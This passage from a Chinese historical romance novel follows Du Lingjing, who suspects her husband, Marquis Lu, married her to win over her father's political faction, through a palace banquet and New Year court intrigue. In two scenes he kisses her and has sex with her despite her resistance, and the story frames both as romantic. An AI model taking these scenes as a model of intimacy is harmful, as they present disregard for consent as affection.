她看到那光秃的柳条抽搭着陆侯夫人的衣袖,风那么大,好似来时陆侯还叮嘱她不要往河边柳下吹风,但她此刻就站在那,半垂着头,神色落落。 杨金瑜一愣,旋即一喜,“她这是信了?” 陪房嬷嬷也这样想,“看来侯夫人是信了!夫人,她会不会在宫宴里,就跟侯爷闹起来?” 杨金瑜心下快跳,她觉得在宫宴就闹实在夸张了些,但杜氏要是真的不管不顾闹了,侯爷必然对她和拂党都寒了心,也就记得贵勋武将们的旧日情谊了。 恰好就在这时,一行人从高台上下来,当头的不是旁人,正是永定侯陆慎如。 杨金瑜一眼瞧见他,再见他身侧不远的河边,陆侯夫人也瞧见了她那位侯爷夫婿。杨大小姐只觉心跳咚咚地快跳了出来。 杜氏她会不会直接闹过去? 她紧紧盯着杜泠静。 河边,杜泠静也转头看到了从附近走过的男人。但许多人围着他同他说话,他没瞧见她。 秋霖心里暗下一紧,心道夫人会不会寻侯爷立时问个明白呢? 她亦紧紧看向自家夫人,却见夫人只静默地看了侯爷一眼,就转回了头,一句要去跟侯爷质问的意思都没有。 另外也在暗中观察着的杨大小姐愣了一愣。 “她不是信了吗?怎么一点反应都没有?” 她想着陆侯夫人若能去闹最好,若不能也该有些旁的反应,但她看着河边的人,见她神色极其平静,嘴角似还噙了一抹极淡的浅笑。 待侯爷走过,默然跟在他身后回了宴厅里。 杨大小姐头痛了一瞬。 这……怎么这位陆侯夫人每一步反应,都脱离她的预计? * 杜泠静又坐回到了宴厅里。 宴厅里人不多,她安静地,自斟自酌了一杯花酿小酒。 不远处,陆侯也在与人推杯换盏。 她静静瞧着他高峻的身形,在人群中极其出众,如同鹤立鸡群,又如高峰拔地而起。 她又给自己倒了杯酒。 不是她轻信杨大小姐,是,如果这都不能解释,那要怎么解释?她一直想不明白此事。 她除了一勉楼的书,他显然是用不到,那她就是父亲剩的这点人脉了。 如果他娶她不是因为这点人脉,如果有人告诉她,早在中秋赐婚之前,早在她尚在青州之时,他就定下要娶她。 然后一步一步,引她进京,求旨赐婚,拉邵伯举的求娶做幌子掩饰,又说他真是无奈,更在婚后不露分毫,更将这丈夫做得完美无缺,直到如今。 那才最为可怖。 毕竟她什么都没有,他步步为营、纤毫不露,那得是为了谋求多大的利益? 相比那般可怕得令人无法捉摸的情形,反倒杨大小姐的这一套说法,更合理一些。 她捏起酒杯,又看向了人群中那高峻的权臣陆侯。 他才二十有五,就能把偌大的永定军稳稳掌在手中,能在站稳脚跟跟,敢扶持幼年的皇子,一肩挑着永定军,一肩又托着朝堂中的姐姐与外甥,一面要安抚聚在他身边的朋党,一面又要与窦阁老等老臣周旋对抗。 他有多忙碌,她是看在眼里的。 她不过是他收拢拂党众人的一座桥而已,他都能做到滴水不漏,还在总是耐下性子来哄她。 他做得太好了,连她都恍惚间以为,就算不是他所谓的一见钟情,或许他真对她有些真心。 但显然是她晃了神。 像陆侯爷这般能高居庙堂之上的贵胄权臣,怎么会耽于儿女私情? 厅中人少,略显清冷。 她又饮下了这一小杯酒。 或是宫人见她自斟自酌多吃了两杯,又给她重新上了一壶,倒在酒杯中奉了过来。 酒刚递过来,杜泠静就闻到了里面浓浓的青竹翠叶的味道。 竹叶青吗? 她细细闻着酒里熟悉的竹叶的清香,那竹香直冲鼻腔。她仰头将这杯竹酒一饮而尽。 她目光又不由自主地,又落在东侧的男人身上。 这才对。 权臣就该这样,杀伐果决,人尽其用。 至于旁的…… 这世间之人,除了三郎之外,又怎么可能还会有旁人,对她用尽真心? 第48章 就这么一小壶竹叶青, 一杯接着一杯倒出来,浅啄一口,又慢慢吃进口中, 竹叶的清香混着酒气在口腔里四散开来,吞入腹中, 在喉管里划出一道灼热的长线。 只几杯下肚, 酒壶就空了。 宫人见陆侯夫人看着文文静静,身上还有浓浓的书卷气,但就安静坐在席间,独自默默吃光了一整壶酒, 犹豫着要不要上前再添一壶。 但杜泠静却察觉宴厅里,亦有旁人在察觉她独自吃酒。那可不太好。她起了身, 往宴厅后面的树下廊中走去。 廊外花池里种了一棵百年古松,寒冬腊月里仍显苍翠。 此处偏些,没什么人,杜泠静走过来, 听到风吹古松, 便坐了下来, 坐在回廊边上与松一同吹风。 酒气被风吹散在回廊间。 有人避在隔了墙的花窗外偷窥。 是杨大小姐杨金瑜。 杨家陪房嬷嬷侧着脑袋多瞧了杜泠静好几眼。 “她怎么还不去跟侯爷闹?旁人吃了一壶酒,已经开始醉了, 要么哭要么笑的,怎么这陆侯夫人一点动静都没有?就这么坐着吹风, 旁边那老松树,都比她响动大。” 再吹一会风, 酒就醒了。 杨金瑜也想不明白。 她自己都没做好十足准备的说辞,自己都不能全信,陆侯夫人却信了;但她只等这这位侯夫人跟侯爷闹起来, 却见那侯夫人安安静静一个字都不多言,安之若素地静赏庭院景色。 主仆二人你看着我,我看着你,都不明白这侯夫人到底怎么想。 花窗下的风也不小,杨大小姐头都痛了起来,恼怒地一甩袖离了去。 她离去,陪房嬷嬷也连忙跟上。 秋霖拿了披风过来,低声同杜泠静道,“那位杨家大姑奶奶,偷偷瞧了夫人许久。” 杜泠静察觉了。 “我知道她在看我,也知道她跟我说那话是什么意思。“她无非是想让我因此与侯爷闹起来。闹得越大,闹得侯爷越难堪,就顺了她的意了。” 她说着无奈地摇头笑了一声,“可是侯爷为了拉拢拂党,煞费苦心,步步经营,会因为有人闹一闹就放弃吗?” 小不忍则乱大谋的道理,他那般深邃沉稳的心性,不可能不懂。 “杨大小姐把此事想得太简单了。” 她说着更笑了一笑,秋霖见她笑意如同天上飘落的雪花一样,有些清冷,噙在嘴角,极轻极淡,又很快消融。 “况成婚数月,侯爷待我极好,不管是出于什么意图,我们都不该去耽误他成心中大事。所以杨大小姐,注定等不到我闹起来了。” 她把话说得风轻云淡,但秋霖看着她,闻到她身上浓重的酒气,不由问。 “可是夫人怎么吃这么多酒?” 她见姑娘微顿了一下,旋即眸中露了些晶莹的悦意。 “是竹叶青。” 杜泠静笑起来,说自己许久没喝过竹叶青了,“从前在青州,三郎总会在竹林里埋上一坛竹叶青,扒开层层竹叶把酒挖出来,连酒坛都淬满竹香。” 但每次把酒挖出来,三郎只给她倒上一小杯。 她不满,要求他倒来一壶尝尝,他只摇头不许。 “我知道泉泉酒量好,但酒不能多吃。吃一杯是怡情,若是一壶,无愁也要平添三分。” 他不许她多吃,每每见她酒盅里的酒见了底,便从她手里拿过酒杯。 她故意不松手,看着他的眼睛,看他会不会对她心软。 三郎架不住她的眼神,只好再给她倒半杯,然后提前收回她的酒盅。 “下次再喝。” 下次……他怎么不给她倒酒了? 风吹得百年古松上有一簇松针落下来,落在杜泠静肩头,轻轻扎了她一下。 “没想到宫人呈了竹叶青上来,”杜泠静跟秋霖道,“我一时没收住,贪杯了。” 秋霖觉得可能不是这个原因,将落下的松针从她肩上丢开。 “夫人别在这吹风了,会头疼。” 杜泠静说没事,原本低垂着眼帘,此刻抬头往天上看去,天上繁星藏在松针之后。 “我就是……有点想三郎了,不知他在天上在做什么?会不会也在喝竹叶青?” 秋霖见她抿唇笑起来,却觉得她是不是有些醉了。 杜泠静觉得自己没醉,只是想到了很多以前的事。 想到父亲孝期结束,准备来京复职。她有些放不下父亲,就算不想回到京城,想在青州与勉楼和三郎在一起,但还是犹豫着跟在父亲身侧照料。 三郎听闻之后,让她不必犹豫,“你若不去,我在青州陪你。你若去京城,我便也到京城典一处小宅,能多见几个人也是好的。” 他说得简单极了,但她知道他同自己一样,也不甚喜欢京城。 那座城太过浩繁阔大,城中之人心思太过复杂,你来我往之间真情难以揣度,真心更是难测。 事是确实如此,连邵伯举与扈廷澜这等交情过命的手足,到了京中,入了官场,也渐行渐远,直至今日。 更不要说浸淫其中的权臣贵胄,谁人不有好几幅面孔?变化莫测。 只是父亲也好,三郎也罢,他们都想不到她会有一日,也陷在京城之中。 她想回青州。 但怎样才能脱身呢? 星云轮转,杜泠静没有谈兴,她叫了秋霖,“你去吧,我再坐一小会就回厅里。” 秋霖看着她如被夜风吹落下来的神色,“那夫人早点回去,回去也别再吃酒了。” “知道了。” 秋霖一步三回头地走了。 宴厅内外人影重重,推杯换盏间,灯火流转。但夜风只从廊下吹过,吹到这段回廊下,独她一人坐在此间。 杜泠静又坐了一小会,还没想回到厅里去,不料有脚步声渐近。 她转头看去,竟然是窦阁老家的老太君,由儿媳孙媳陪着,也从这里路过。 她看过去,人家也看见了她。 窦阁老和陆侯不对付,满朝皆知。杜泠静与对方的女眷这么偶遇,都下意识避开了目光。 杜泠静侧过身来,当做没看见,继续在廊下吹风。 可窦家女眷扶着老太君从旁经过时,老太君脚步停了一停。 双方只隔着一步的距离,老太君忽的向她开了口。 “孩子,吃了酒,莫要吹风。” 她说着还跟她招手。 话音落地,廊内廊外都静了一静。 窦阁老家的女眷尴尬不已,都以为老太君是没认清楚人,以为这陆侯夫人是自家的小辈。 阁老夫人不失礼数地跟杜泠静抱歉笑笑。 杜泠静倒不觉有什么,眼下见那位颤颤巍巍的老太君,还不住看着她,“快回厅里暖和暖和吧。” 莫名地,她竟以为自己见到了青州族里,那几位常在祠堂门前晒太阳的老祖母。 她们见了她也会问上一句,“静娘又往勉楼去?书是看不完的,多歇着眼睛……” 杜泠静心下发烫地酸了一酸。 或许窦家老太君真是认错了人,把她认成了自家小辈,但这可能是这偌大的京城里,为数不多的真意了。 她说好,从善如流地起了身来,“多谢您提醒。” 窦家女眷一片尴尬无措的神色里,窦老太君跟她弯着眼睛和蔼地笑了笑。 杜泠静也弯了弯唇角。 她回了厅中,外面的人也陆陆续续回来了。 约莫过了一阵,皇上携贵妃也坐回到了上首。皇后自是没再来。皇上与众臣又说了些来年的吉语。贵妃也代皇后娘娘,勉力了一众臣工女眷几句。 歌舞渐渐歇下,这宫宴也到了结尾之时。 杜泠静跟随众人往外去,太液池的夜风更盛白日,杜泠静走到梅林附近的时候,见崇安远远地小跑寻了过来。 他上前行礼,道侯爷被一群公侯伯爷和世子们纠缠住了,“还要再往宫外的酒楼里再赴两场宴,今晚脱不开身回家。” 杜泠静明白,“我自行回去即可。” 但崇安却连忙道,“夫人莫要着急,侯爷说他马上过来,先跟您说几句话,再去赴宴。” 他赴宴前,还要跟她说话? 杜泠静只能往梅林深处等着他。 过了不到半刻钟,他就来了。 月色披在他身上,他方才换了一件黄棕色绣萱草黄花的锦袍,此刻阔步行于月光之下,通身光华仿佛将星月都引在了身上。 他从破了冰的流水的桥上往这处而来,此间多是女眷,他刚走上拱桥,女眷们的目光便都聚在了他身上。 似乎无有一人,不将目光驻留他峻挺的身形上。桥上的灯火映出影子,衬得他眉眼英俊深邃,耸直的鼻梁之下,他嘴角噙着微带着酒意的温和。 他从拱桥最上,往下行来,窄腰之下长腿蹬黑靴,一步步简直踏在人心间。 杜泠静见有几位年轻的夫人与姑娘,都面上带了三分羞意,不敢再向他看去。 杜泠静笑了笑,也收回了目光。 但他很快从众人间穿过,直奔梅林而来。 他阔步走到了她身前。 “侯爷有什么事交代?”她问。 只是她略一开口,男人便闻到了她身上浓重的酒气。 “怎么喝了这么多酒?” 他又闻了一下,“竹叶青?” 杜泠静见他方才还温和的神色变了一变,他目光往她眼眸里抵来。 杜泠静侧过头躲闪了一下。 “是宫人上的。”她不得不解释了一句。 但他抿了唇不说话了,目光扫去下面,众人纷纷退了下去,不过须臾的工夫,梅林里只剩下他与她两人。 梅林里静静的,好像将外面的人声隔绝开来,一时间只有月光悄然流转在枝头含苞待放的梅花上。 “侯爷是有什么事交代?” 她见他不说话,只能又问了一遍。 两人身上都浸透了酒气,酒气在彼此间飘来荡去,呼吸都比平日里要重,而杜泠静在他抿唇不语中,莫名又不安地重了些气息。 他到底有什么事,直接交代她就是了。 可他一句话都不说,反而忽然抬手,挽过她耳后,用拇指指腹的薄茧摩挲她的脸颊。 她通身都被竹叶青的香气浸透了,脸蛋也被酒意熏染得热热的,连发梢乃至唇齿之间,都只剩下竹香环绕。 男人一言不发,杜泠静不知他是何意,他却倏然低头吻在了她唇间。 他的气息霸道厚重不可抗拒,裹挟着酒意,只在抵达她唇齿的一瞬间,就将她通身的竹叶之气压了下去。 但他还不满意,挽着她耳后的手更把她向他拢来,又迫着她仰头,承着他唇下的力。 杜泠静不由抬手抵在了他胸膛。 她要推开他,从他怀中挣脱出去。 只是她刚有此意图,他就揽上了她的腰,将她彻底拢在他怀中,还咬了她的唇。 杜泠静敌不过他,只能任由他施为。 她身上的竹香都快散干净了,只剩下他的气息从头到脚地笼着她。 他这才松了她些许,低哑着嗓音的道了句。 “以后别喝竹酒。” 杜泠静不想跟他理会,转身就要走。 男人紧扣上了她的手腕不肯放,“泉泉……” 他扣着她的力道虽然重,但嗓音却无奈地放柔下来。 “我还没跟你说事。” “侯爷要说什么?”她嗓音淡下三分,并不看他眼睛。 男人无奈暗叹,他说也没什么,替她挽了耳边的碎发。 “我今晚不能陪你回家。从这儿走出宫门坐上马车,还得些路程,怕夜里风凉吹着你。” 他褪下身上的大氅,披在了她身上。 “你穿我这件回家。” 杜泠静这才不由看了他一眼。 他还想着这个…… 她说不用,“侯爷晚间还要再赴宴两场,自己穿着比较好。” 她嗓音终于又跟他柔和了下来,陆慎如止了她要脱下的意思。 “只要娘子穿着,我怎么会冷?” 他轻笑了一声。 杜泠静听着这完全没有道理的话,不禁又默然看了看他。 他则叫了秋霖,回去就给她煮醒酒汤来,又嘱咐她,“早点睡,我恐怕要到明早再回了。” 杜泠静多看了他几眼。 心道他真是一贯周道。 或许他因拂臣,才娶了她,但可能觉得她这个结发妻子还不错,对她多有顾及。 可饶是如此,他能做到这样的份上,也非是常人。 尤其他主动提出,与她一道祭拜三郎。 分明他是在意的,却又真与她一道前去了。 世间人,有几个能做得到? 如果一个人能忍常人所不能忍,做常人所不能及,又会有什么事做不成呢? 他吩咐完就被人催着走远了,杜泠静回头瞧着他的背影。 他确实很是厉害,亦付出了许多。 但愿他所求皆能成,莫要落空吧。 …… 翌日便是除夕。 他确实到了早间才得回,但宿在了外院,似乎只小睡了一个钟头,就有人来寻他问事。 待到了傍晚,他才忙完,回到正院时,身上的酒气几乎都散了,他亦恢复了往日神色,甚至不见什么倦色,只让人多上两盏酽茶来。 杜泠静暗道,他一夜没睡觉,今晚还要守岁,他却能靠酽茶就撑得住,可真是…… 她不便说什么,倒是听见他很是可惜地道。 “不瞒娘子,原本我让人备了些烟火炮仗,但昨儿听了个信儿,”他低了些声音,“道是皇上前些日染得风寒一直没好利索,近来病恹恹听不得响动,在宫里罚了不少人下去。” 他道,“既如此,我们便也不好大肆放炮。只是你今岁头一遭在侯府与我过年,可惜……” 他叹气摇头。 杜泠静倒不在意什么烟火炮仗,不禁问了他一句,“皇上的病如何,会不会……” 如果皇上病逝在皇后之前,贵妃做不了母仪天下的皇后,慧王可就无法以嫡子之身,名正言顺地继承皇位。 她这么问去,果见男人脸色沉了几分,但他抬手道。 “不至于。等开春天暖了,再看不迟。” 但他又提及了另外的事。 “兴许是皇上年关上病了的缘故,放出了些话头来,不管是邵伯举和邵家,还是荣昌伯府那两个孽障,皇上约莫都要抬手从轻发落了。” 杜泠静挑了眉。 那位杨大小姐火急火燎地找人说情,反倒不如皇上这一病,带来的一念之慈。 但这位侯爷突然问,“那日怎么喝这么多酒?是不是,杨金瑜跟你说什么了?” 他甚是敏锐。 杜泠静想起宫宴之前,他提前提醒她不要听杨大小姐的话,会否猜到了几分,不想让她听说之后,再多问圣旨赐婚的事? 毕竟彼时,他只说那赐婚完全是圣意,他不知也无能为力。 杜泠静跟他道,“世子夫人请我在侯爷面前说情。还要赠我一匣子东珠。” 男人闻言笑了起来,“我陆侯的夫人还差她一匣子东珠?” 他说着,就要叫人把库房里的东珠拿过来。 “我记着有三匣还是五匣来着,两广的官员送来的。一直放在库房都落灰了,拿来给你做首饰。” 那日杨大小姐那一匣子东珠,都价值不菲,他这儿库房里竟还有三五匣。 这位侯爷可真是阔绰,若是那些想嫁他的贵女在她今次的位置上,哪有不欢心的? 她念及此,笑了笑,却让他不用拿来。 男人问她,“娘子笑什么?” “我在笑侯爷太过阔绰,但我只有一个身,此前侯爷赠的首饰已经用不完了,更不要说三五匣东珠。” 夜还长,她垂眸而笑,男人却把她抱到了小榻上来。 京中各处街巷都在放着响亮的炮仗,他却将她放在锦被间,低身压了下来。 杜泠静吸了气。 这会儿天才刚黑下来,这一夜满城都在守岁。 此间还是小榻上…… 但他稍稍一动就落下了她的衣裳,他吻在她锁骨与肩头。 她无意,想推开他,但他已太熟悉她的身体。 不过几息,她满身落雨。 她发慌地还想推开他,却根本就是徒劳。 他是骁勇善战的将军,他是威武精猛的大将,他练就得十八般武艺俱全。 他最知道敌人的弱处,只往这处将敌军反复折磨。 她不想被他所掌控,可无从抵抗,他只稍稍对准她军中最薄弱之处,挥师而来,她整个阵营顿时溃败。 这次暴雨彻底落下。 他则低低笑起来,在她耳边。 “泉泉,你说我们今夜,会否迎来第一个孩子?” 孩子…… 杜泠静在颤抖中回了神。 他要她身后的拂党众人,也要她真正做他的侯夫人,为他生儿育女,开枝散叶。 不管是妻子还是子嗣,每一步,他都早早提前算好、筹谋好。 他一步三算,他步步为营。 她真觉得他很是厉害,她钦佩也敬重,亦觉得以他的心性与能耐,他所想必然能得。 慧王会坐上高位,他亦能成为这天底下一人之下万人之上的摄政权臣。 拂臣会为他所用,天下皆为他所掌。 只是她不太喜欢京城,也不太喜欢这里的日子。 到了那时候,一切落定,他不需要再用她做什么的时候,他能不能放她走? 就让她回去她的青州与勉楼。 第49章 年初二回了一趟澄清坊。 叔父带着湛明前来, 便算是娘家了。二妹杜润青自是没有露面,但叔父杜致祁却偷偷问了杜泠静给他安排官职的事。 “听闻那些拂党众臣,侯爷皆有意重用, 我是你叔父,自比外人更加亲近, 静娘你以为呢?” 开春之后, 户部就要陆续开始调整各地官员,正是选缺的时机。 杜致祁进来也同来京的拂党众人努力亲近。最初他兄长身死,拂党零落时也有人来找过他,但那会他自身难保, 便没同他们有过来往。 如今静娘嫁了侯爷,有侯爷做靠山, 他不必担心许多,倒可以与拂党人一起任上重职。 他还是念着邵伯举之前许给他的位置。 “静娘同侯爷说了吗?侯爷如何以为?” 杜泠静禁不住道了一句,“叔父还惦记邵伯举?可知他如今在大牢里?” 杜致祁当然知道,“但听闻皇上传了话音, 兴许要放过了。” 邵伯举犯了这么大的事都能放过, 说不定过些年还能重来, 他不过就是想要回京任职,怎么不能? 叔侄两人在厅中说话, 方才有人来寻陆慎如有事,他出去了一趟。 而叔侄这话没说完, 崇安就来请了杜泠静,往书房去。 杜泠静到时, 见他眸色略显复杂了。 “是出了什么事?”她问。 男人默了默,叹了一声,嗓音略沉。 “邵伯举自尽了。” 书房骤然一静, 杜泠静怔了半晌没回过神来。 皇上已经有意饶过这位探花,就算不能再恢复昔日荣宠,也至少保得一命。 可饶恕的意思传了下来,他却自尽了。 是宁死也不肯屈在他伯父邵遵之下,还是早已无颜出狱再见旧日手足,又或者曾浸透权利与尊容的人,无法无望地苟活? 父亲的旧书房里,杜泠静见侯爷也沉默了一阵。 但邵伯举的事他没再提,只叹道,“皇上向来一碗水端平,此番邵伯举一死,荣昌伯府那两个估计是活不成了,说不定还有旁的发落。” 他说着转了身,“我回去一趟。” 牵一发而动全身,朝堂里的风云从未止息,杜泠静连忙点头让他去了。 他一走,杜致祁就过来询问,杜泠静想着他方才还道邵伯举会无恙,眼下直接把消息告诉了他。 话音落地,她见叔父终于讶然白了脸色。 “为何呢?”他喃喃。 杜泠静没有立时开口,只是看着父亲空荡的书房。 父亲从前的旧物在一次又一次搬挪中,或移走或失散,只还剩下几箱子旧书画,如果没她亲自动手,也无法恢复原样。可连她也嫁人了,书房更加无暇打理。 父亲留下的痕迹无可挽回地慢慢消失。 杜泠静低沉了声音。 “父亲曾官至阁臣,新政推行天下,到头却身死在山洪中;拂党的叔伯们跟着父亲起起伏伏,有些等不到今日侯爷启用,就随父亲撒手离世;邵伯举等候宣判之时没死,皇上松了口要留他命,他却自尽了……” “还有侯爷,”她看向叔父,“叔父真以为侯爷娶我。是因为圣旨赐婚吗?” 她说不是,“是为了收拢拂党,才能在与窦阁老的角力中,越发站稳脚跟。” 她此言一出,杜致祁惊吓地看过来。 “是侯爷请旨赐的婚……” 杜泠静无奈笑了一声。 “无论是父亲、拂党的叔伯们、邵伯举,还是侯爷,侄女说句忤逆的,哪位不比叔父运筹帷幄、深谋远虑?叔父真以为这京城的官场是好留的?” 若彼时,他真把她嫁给了邵伯举,此刻杜家也跟着邵伯举一起完了。 但也根本不可能,因为那赐婚的圣旨,根本就是侯爷请来的。 寒冬腊月里,杜致祁身上出了一阵虚汗。 在他根本弄不明白的地方,事情一层叠这一层,他却只能看到最上面的那一层。 “那……我总要做官吧?” 杜泠静道,“叔父从前的官位空着,侄女以为,叔父在京中也腻了,不若就从哪来回哪去。” 从哪来回哪去?杜致祁心里想被滚落的大石砸到。 他原本想要谋个更好的位置,离开那偏远之地,可绕来绕去,竟又回去了。 他看向做了侯夫人的侄女,一时犹如看到当年做阁臣的长兄,他们都不觉得他能当大任…… 他脊背垮了下来,“可是你婶娘还病着,妹妹也在京中,又怎么办?” “叔父放心,我若在京,自然照看。” 杜泠静说完这句便不再多言。 她这叔父实在难堪大任,早早离去,不再被人利用,说不定还是逃过一劫。 杜泠静说完亦不欲多留,但也没有返回侯府,而是转道去看了扈廷澜。 她见到扈廷澜时,只觉他仿若被泡进了冰冷的深水之中,人被冷水坠着,湿漉而沉重。 显然他已经知道邵伯举自尽之事。 多年相交的手足旧友,因故决裂,还尚且都在人世之间,可此时此刻已经阴阳两隔了。 杜泠静不知道还能说什么,反而听着扈廷澜道了一句。 “不知这是命里注定,还是从他点中探花那日起,便无可回头地走上不归路。” 杜泠静愣了一阵。 似乎连邵伯举自己都说过,他的才学其实远不及扈廷澜。 但扈大哥只中了个寻常名次的进士,邵伯举却被皇上特特点成了探花。 命运也许真就在那一刻,彻底改变了。 杜泠静亦陪着大哥沉默了许久,到是扈廷澜不欲在人前多显露什么,只同她道,“你今日回娘家,却又专程来看我,还是早点回去吧。” 他要送她走,杜泠静却摇摇头,她突然问。 “廖先生的事,大哥不准备跟我说吗?” 侯爷在大举启用拂党众臣,廖先生最是才能兼备,可他却心许雍王。 杜泠静能猜出五分来,她直接问去扈廷澜,“先生到底是何等情况,又是怎么想的。大哥跟我直言吧。” 她心如明镜,又把话说到这个程度。 扈廷澜也不好再瞒她,把侯爷有意重用廖先生,甚至扶他早登阁臣之列的话说了。 “但先生无法更改心中念头,始终认为慧王太过年幼,说实话,侯爷和贵妃作为慧王母族又太过强势,不是太子的佳选。” 他道,廖先生觉得,慧王甚至不如无人问津的三皇子承王。 “先生实在无法为侯爷所用,又怕侯爷因此迁怒其他拂党之人,尤其是你,正踌躇无措,恐是要彻底还乡了。” 他说完,看向杜泠静。 室内有些昏暗,炭盆里的炭火快灭了。 杜泠静缓缓沉了一起。 “我知道了,此事约莫也非廖先生一人的情形,不若我来跟侯爷说吧。” 确实还有旁的拂党之人有此等情况,扈廷澜问她,“你去说,合适吗?” 杜泠静觉得恐怕没有比她更合适的人了。 毕竟她是侯爷费心铺起来的,连接与拂党的桥梁。 她笑了笑,“虽我人微言轻,却总要一试。” …… 当日她回了侯府,经过外院的时候,听见有侯府幕僚正讨论拂党一事,但那位侯爷不在。 她回正院等了他,不想他当晚有事,回来得太晚,怕扰了她就宿在了外院。 翌日杜泠静早起用过饭,见他还没回,想了想,起身往外去。 她一路走到外院,才发现她并不是第一个来求见的。 天色尚早,但外院门庭里已经聚了些人,都等着来见侯爷。 崇平和崇安都没在,外院今日是个年轻的小管事,他叫了仆从上茶,让这些人稳坐等好,“侯爷日理万机,诸位莫要着急,坐好吃茶慢慢等。” 从前杜泠静跟着父亲在澄清坊的时候,也有人来寻父亲,文伯安排在外院等着,可哪里有这么多人。 杜泠静这会听见,有人念叨着,从年前到年后,他都来了五次了,“次次都等不到侯爷,还请小哥今次一定通禀。” 这人这么说,也有人到他昨日就来过了,“侯爷陪着夫人回了娘家,在下等到下晌也没见到侯爷的影子,今日天没亮就到了,也请一定通禀!” 又有几人也说自己等了好久,秋霖在旁听着道了句,“侯爷也太忙了些,若换做我,每天这么多人要见我,烦也烦死了。” 杜泠静莫名觉得她说得好笑,低声笑了一声。 只是她这一笑,那小管事瞧见了她。 管事连忙出来同她见礼,“夫人怎么来了?侯爷在厅里同幕僚们议事,夫人可要小的通禀?” 杜泠静本是要让他帮忙通禀的,但听见他在同幕僚议事,又见外面亦有这么多人在等,她道不急,“非是什么着急的事,我也先等一会吧。” 管事自不能让她跟外人一样,在外面的厅里等着,便引了她往侯爷书房院落里面来。 只是杜泠静刚进来,便听见有幕僚从旁经过。 “……拂党这些人也太烦了,一个个又臭又硬,侯爷先把他们救了,又要给他们安排高位,换别人高兴都来不及,这一个个的,却还想着雍王?尤其那廖栩,侯爷真是给够了他脸面。” “谁说不是?我看夫人身后这些拂党,被罢黜,被从朝堂排挤出去,一点也不奇怪。估计杜阁老也是这脾性,当今皇上才不肯重用……” 说拂臣也就罢了,杜阁老可是夫人的父亲。 管事的见这两个幕僚没留意夫人,可夫人却把他们的话都听了个一清二楚,管事脸色都白了。 他紧张地不行,恨不能上前捂了那两个幕僚的嘴,偏偏又有旁的幕僚经过附近,也说着拂党人的事,好在这几个幕僚中,有人一眼看到了夫人,连忙扯着旁边的人都闭了嘴。 众人相觑间皆尴尬得闭紧了嘴,管事的把杜泠静往里面迎也不是,不迎也不是,不知如何是好。 杜泠静见状还有什么不明白。 院门本就是侯府幕僚们畅所欲言的地方,不便被外人听到。外人都等在外间的厅里,那里听不到里面的声音。 她应该,也是个外人…… 她转了身来,同管事道。 “我也去外面等吧。” 管事正想着,果真把夫人引进去,还不知要出什么状况,他见夫人主动提及在外,大松口气。 “夫人眼下要见侯爷,小的可以这就去通禀。” 但前面的厅里,杜泠静听着正议到紧要处,他那低沉的嗓音时不时要问上几句。 她道不必,“等侯爷忙完再说不迟。” 管事便把她送回到了外面,又让人立了屏风,杜泠静也跟这些等了他好几日的人一道,慢慢吃茶等着。 只是这一等,从早间天刚亮,一直等到日过午时,杜泠静脸前的茶水都换了三碗,还是没见他得空半分。 厅里众人也都在这里等着,有人实在熬不住走了,道改日再来。 杜泠静倒没有旁的事,只是想把拂党的事,跟他好生说一说。 她想跟他说,就算他筹谋许久,娶她也只为了拂党众臣归他所用,但也不必太过着急。 事缓则圆。 她又等了一阵,想着他可能差不多快忙完了,只是不晓得厅里还有这么多人在候着,有人着急地来回踱步,他可能也未必当先见她。 要不她先去吃个饭,再来等他? 只是这时,阮恭忽然找了过来,阮恭步子有些紧。 他上前便道扈大哥那便传了话过来,说廖先生,“先生今日就启了程,离京回四川老家了。” 杜泠静吃了一惊。 她以为年还没过完,少说还得几日,没想到先生踌躇无奈,这就要走了。 四川可不是青州,山高水长,这一去要何时才能得回?总要先把事情都说清楚。 杜泠静立时就起了身,让阮恭赶紧去套车,不及换衣就追了过去。 …… 陆慎如一上晌都没闲下来,这会稍稍喘了口气,刚让人去摆饭,就见外面厅里的管事走上前来。 他道是不是还有人要见,“都是何人,因何事而来?捡紧要的说。” 外面厅里的人等了这么久,没有人不紧要。 不过确实有一个人,说她不着急,可以慢慢等。 但管事却道,“侯爷若是得空,不若见夫人一面吧?” 他说得陆慎如愣了一愣,以为自己听错了。 “你说谁?” 管事连道是夫人,“夫人在厅里,从早间等到眼下,等了侯爷三个时辰了,侯爷要不要,先见夫人一面?” 话音落地,男人英眸一瞪。 书房里气息瞬间紧压了下来,房内房外冷凛之气森然。 “你敢让夫人在外面等三个时辰?!” 管事一顿,扑通跪了下来。崇平也刚从外回来,听那管事说这话,倒吸一气。 男人则青了脸色,快步往外,直奔厅里而去。 “泉泉……” 谁料到了厅里,他迈步到屏风后面,却见屏风后只有一盏空掉的茶碗,人却连影子都不见了。 “夫人呢?!”他问。 厅里的管事也不知道夫人何时走了? 陆慎如以为她回了正院,转身就要往内院去,好在有小厮上前回话,说夫人接了个急报,“回侯爷,夫人方才着急套车出门去了。” * 邵伯举自尽的消息,昨日折磨了杨金瑜一整晚。 她原本也跟众人想得一样,听闻皇上放出话头,可能要慈悲饶恕,欣喜不已。可邵伯举竟在这个时候自尽了,邵伯举一死,皇上一碗水端平,便不能再放过她两个弟弟。 她母亲荣昌伯夫人又晕死了一回。 兴许不出正月,皇上就要发落她两个弟弟了。 眼下除了侯爷和贵妃,再没人能救他二人。杨金瑜只觉自己快疯了,她那丈夫更是连守岁都没来她院中。 她只能自己想办法,她还有什么办法? 她在那陆侯夫人面前挑拨,想让那陆侯夫人跟侯爷闹,偏那人性子沉得跟水一样,不管倒进去什么,都仍旧静默流去。 那么与其再从她这里下手,不若直接挑拨侯爷与拂党。 杨金瑜想不出办法,直到刚才有人来报,说那拂党中与侯爷最是不睦的廖栩,离京归乡去了。 她突然冒了个念头。 那廖栩显然是碍于陆侯的威压,才万般无奈出走。 若是他被逼离去的路上出了事,那些拂党会不会跟侯爷离心又翻脸呢? 她思及此,立刻叫了人手,这就往京外而去。 * 杜泠静被人耽搁了几息。 她在京外遇上了外城开书肆的章先生。 章先生也因着拂党被邵伯举追杀的事,躲了起来。他跟拂党众人都有联系,彼时又在邵伯举眼皮底下,干脆跑到乡野躲了数月,年前才刚回来。 杜泠静还未及亲自见他一面,但阮恭却替她送了年节礼给章先生,又同这位在京经营书肆的章先生,提及了杜泠静要弄清楚一路引她来京的八部宋本,怎么就突然出现的事。 章先生听阮恭说起,也觉有点奇怪,“京畿自是什么高深之人都有,但连着出八部珍贵宋本,也确实稀罕。” 他道会替杜泠静留意,这会见杜泠静恰从他门前经过,便道。 “静娘往何处去?先前那八部宋本的事,我这里有点眉目了。” 